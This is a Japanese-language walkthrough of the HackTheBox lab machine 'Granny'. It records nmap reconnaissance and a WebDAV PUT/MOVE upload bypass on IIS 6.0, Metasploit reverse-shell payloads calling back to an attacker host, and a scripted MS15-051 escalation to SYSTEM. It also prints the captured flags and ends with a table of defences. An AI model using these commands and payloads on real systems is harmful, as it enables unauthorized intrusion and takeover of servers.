HackTheBox: Granny — 全実行コマンド・実行結果レポート
Nmap スキャン
80(IIS 6.0 + WebDAV)のみ
→
80(IIS 6.0 + WebDAV)のみ
WebDAV PUT検証
201 Created — 書込み可能
→
201 Created — 書込み可能
iis_webdav_upload_asp
PUT→MOVEで拡張子フィルタ回避
→
PUT→MOVEで拡張子フィルタ回避
NT AUTHORITY\NETWORK SERVICE
低権限シェル
→
低権限シェル
MS15-051
client_copy_image カーネル脆弱性
→
client_copy_image カーネル脆弱性
NT AUTHORITY\SYSTEM
user.txt / root.txt ✓
user.txt / root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -Pn -p 80 -sV -sC --max-retries 2 10.129.95.234
RESULT
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 6.0
|_http-title: Under Construction
| http-methods:
|_ Potentially risky methods: TRACE DELETE COPY MOVE PROPFIND PROPPATCH SEARCH MKCOL LOCK UNLOCK PUT
|_http-server-header: Microsoft-IIS/6.0
| http-webdav-scan:
| Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
| WebDAV type: Unknown
| Server Type: Microsoft-IIS/6.0
| Allowed Methods: OPTIONS, TRACE, GET, HEAD, DELETE, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, MKCOL, LOCK, UNLOCK
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
ℹ️
Grandpa(姉妹機)と同じ Microsoft-IIS/6.0 + WebDAV。nmapのスクリプト出力上は
Allowed MethodsにPUTが含まれていない(宣言と実動作は
別物なので、必ず実際にPUTを試す必要がある)。
WebDAV PUT の実動作確認(Grandpaとの決定的な違い)
BASH
echo "test" > davtest2.txt curl -s -i -X PUT --data-binary @davtest2.txt "http://10.129.95.234/davtest2.txt"
RESULT
HTTP/1.1 201 Created
Server: Microsoft-IIS/6.0
MicrosoftOfficeWebServer: 5.0_Pub
X-Powered-By: ASP.NET
Location: http://10.129.95.234/davtest2.txt
Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, LOCK, UNLOCK
✅
201 Created — ファイルのアップロードに成功。姉妹機Grandpaでは
同じPUTが
403 Forbiddenで拒否されたのに対し、Grannyでは
WebDAV書込みが実際に有効になっている。これにより、Grandpaで使った
CVE-2017-7269(バッファオーバーフロー)ではなく、アップロード型の
ASPシェル配置が主経路として使える。
BASH (後片付け)
curl -s -i "http://10.129.95.234/davtest2.txt" # 200 OK, 取得できることを確認 curl -s -i -X DELETE "http://10.129.95.234/davtest2.txt" # 削除
PHASE 2
WebDAV アップロード型RCEの解析
拡張子フィルタ回避の仕組み
NOTE
IIS 6.0 + WebDAVは.aspファイルの直接PUTアップロードをブロックするが、
以下の手順で回避できる(Metasploit exploit/windows/iis/iis_webdav_upload_asp
が自動実行する内容):
1. PUT /xxxxx.txt ← .txt拡張子ならPUTが許可される
2. MOVE xxxxx.txt -> xxxxx.asp ← WebDAVのMOVEメソッドで拡張子のみ変更
(MOVE自体は拡張子チェック対象外)
3. GET /xxxxx.asp ← ASPエンジンがリバースシェルコードを実行
4. DELETE /xxxxx.asp ← 後片付け(ただし実行中プロセスがロックしており
失敗することが多い、実機でも403 Forbidden
で削除失敗を確認)
⚠️
ASPシェルコードはIISワーカープロセスのコンテキスト
(
NT AUTHORITY\NETWORK SERVICE)で実行される。これは
認証不要の未認証RCEだが、得られる権限は低いため後続の権限昇格が必要になる。
PHASE 3
iis_webdav_upload_asp によるフットホールド
エクスプロイトモジュールの設定
BASH (msfconsole)
use exploit/windows/iis/iis_webdav_upload_asp set TARGETURI / set HttpClientTimeout 20 set PAYLOAD windows/meterpreter/reverse_tcp set LHOST 10.10.15.200 set LPORT 4560 run -j
RESULT
[*] Started reverse TCP handler on 10.10.15.200:4560 [*] Checking /metasploit132801506.asp [*] Uploading 52878 bytes to /metasploit132801506.txt... [*] Moving /metasploit132801506.txt to /metasploit132801506.asp... [*] Executing /metasploit132801506.asp... [*] Deleting /metasploit132801506.asp (this doesn't always work)... [*] Sending stage (190534 bytes) to 10.129.95.234 [!] Deletion failed on /metasploit132801506.asp [403 Forbidden] [*] Meterpreter session 1 opened (10.10.15.200:4560 -> 10.129.95.234:1037)
ℹ️
モジュール自体のコメントが示す通り(
this doesn't always work)、
実行中ASPプロセスがファイルロックを保持しているため削除は失敗することが多い
(実際に403 Forbiddenを確認) — これは動作上の既知の制約であり、
エクスプロイト自体の成否には影響しない。このマシン特有の重要な注意点として、
このモジュールは1回の攻撃で10〜20個以上の重複した短命セッション
を生やすことがあるため(過去のデバッグ履行で確認済み)、セッション判定は
単純な「最初の1件」採用ではなく「生存+stdapiロード済み」を条件に能動的に
探索する必要がある。今回の実行では幸運にも1回で1本のクリーンなセッションが
確立した。
権限確認
API (msfconsole内Ruby)
sess.shell_command_token("whoami", 20)
RESULT
nt authority\network service
PHASE 4
MS15-051 で SYSTEM 昇格 & user.txt / root.txt
ms15_051_client_copy_image の手動ドライブ
NOTE
このNETWORK SERVICEセッションは sys.config.getsid/sysinfo 等が例外
("Access is denied")を投げる制限付きトークンであり、ms15_051モジュールの
is_system?/sysinfo呼び出しがこれを捕捉できず即座に失敗する。コンソールの
use/set/run経由だとモジュールが内部で複製され事前のスタブ設定が失われるため、
framework.exploits.create(...)で直接モジュールオブジェクトを生成し
is_system?/sysinfoをスタブ化した上でmod.exploitを直接呼ぶ。
API (msfconsole内Ruby)
mod = framework.exploits.create('windows/local/ms15_051_client_copy_image')
mod.datastore['SESSION'] = foothold_sess.sid
mod.datastore['PAYLOAD'] = 'windows/meterpreter/reverse_tcp'
mod.datastore['LHOST'] = '10.10.15.200'
mod.datastore['LPORT'] = 4561
def mod.is_system?; false; end
def mod.sysinfo; {'Architecture' => 'x86'}; end
pinst = mod.framework.payloads.create('windows/meterpreter/reverse_tcp')
pinst.datastore['LHOST'] = '10.10.15.200'
pinst.datastore['LPORT'] = 4561
pinst.assoc_exploit = mod # 必須: これが無いとSYSTEMセッションが
# framework.sessionsに一度も登録されない
mod.generate_payload(pinst)
mod.setup # これを呼ばないとreverse handlerが起動しない
mod.exploit
RESULT
[*] Started reverse TCP handler on 10.10.15.200:4561
[*] Reflectively injecting the exploit DLL and executing it...
[*] Launching msiexec to host the DLL...
[+] Process 3980 launched.
[*] Reflectively injecting the DLL into 3980...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (190534 bytes) to 10.129.95.234
[*] Meterpreter session 2 opened (10.10.15.200:4561 -> 10.129.95.234:1038)
🚨
CVE-2015-1701 (MS15-051): win32k.sysのNtUserCopyAcceleratorTable系
APIの権限検証不備。
msiexec.exeプロセスへDLLをリフレクティブ
インジェクションしSYSTEM権限のプロセスを生成する(Grandpaではnetsh.exeが
ホストプロセスだったが、ここではmsiexec.exeが選ばれている — モジュールが
都度利用可能なプロセスを探して選択するため個体差がある)。
SYSTEM昇格の確認 & フラグ取得
API (msfconsole内Ruby, meterpreterのfs.file API経由)
root_sess.fs.file.open('C:\Documents and Settings\Lakis\Desktop\user.txt').read
root_sess.fs.file.open('C:\Documents and Settings\Administrator\Desktop\root.txt').read
RESULT
GRANNY_USER_TRY: 700c5dc163014e22b3e408f8703f67d1 GRANNY_ROOT_FLAG_RAW: aa4beed1c0584445ab463a6747bd06e9
user.txt — Lakis@GRANNY
700c5dc163014e22b3e408f8703f67d1
root.txt — Administrator@GRANNY
aa4beed1c0584445ab463a6747bd06e9
✅
SYSTEM昇格後に取得した新規セッション(SYSTEM-tunnel側、LPORT 4561)から
両フラグを直接読み取る。両フラグともSYSTEM権限のセッションから読んでおり、
NETWORK SERVICEセッションの時点ではuser.txtへのアクセス権限は未検証だが、
この手順では一貫してSYSTEM昇格後に読む設計になっている。
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — Lakis@GRANNY
700c5dc163014e22b3e408f8703f67d1
root.txt — Administrator@GRANNY
aa4beed1c0584445ab463a6747bd06e9
使用した脆弱性
| 脆弱性/手法 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| WebDAV PUT/MOVE 設定不備 | IIS 6.0 WebDAV拡張 | 未認証ファイルアップロード→RCE | High | .txtとしてPUTし、WebDAV MOVEで.aspへリネームする拡張子フィルタ 回避で、NETWORK SERVICEシェルを獲得 |
| CVE-2015-1701 (MS15-051) | Windowsカーネル win32k.sys (client_copy_image) | 一般サービスアカウントからのSYSTEM昇格 | Critical | msiexec.exeへのDLLリフレクティブインジェクションでカーネル権限 検証不備を突き、user.txt / root.txt取得可能な NT AUTHORITY\SYSTEMシェルを獲得 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap(80) + WebDAV PUT実動作検証(201 Createdで有効確認) | IIS 6.0検出、アップロード経路が使えると確定 |
| 2 | 脆弱性解析 | PUT→MOVEによる拡張子フィルタ回避の仕組み理解 | ASPシェル配置手法の把握 |
| 3 | フットホールド | iis_webdav_upload_asp | NETWORK SERVICEシェル |
| 4 | 権限昇格 | ms15_051_client_copy_image | user.txt / root.txt(SYSTEMシェルから両方取得) |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| WebDAV拡張が有効かつPUT/MOVEメソッドへの認証が設定されていない (匿名で任意ファイルアップロード・リネームが可能) | WebDAVを使用しないなら無効化する。使用する場合は認証を必須化し、 アップロード可能な拡張子をホワイトリスト化、かつ PUT後のリネーム(MOVE)先も同じ拡張子制限の対象にする (フィルタをアップロード時だけでなくリネーム時にも適用)。 |
| サポート終了(EOL)のWindows Server 2003/IIS 6.0が稼働している | 現行の長期サポート対象OSへ移行する。2015年公開の MS15-051含む大量の未修正脆弱性が累積するリスクを放置しない。 |
| 2015年公開のWindowsカーネル脆弱性(MS15-051)が未パッチ | Windows Updateを定期適用し、特にwin32k.sys等カーネルモード コンポーネントのセキュリティパッチは優先的に適用する。 |

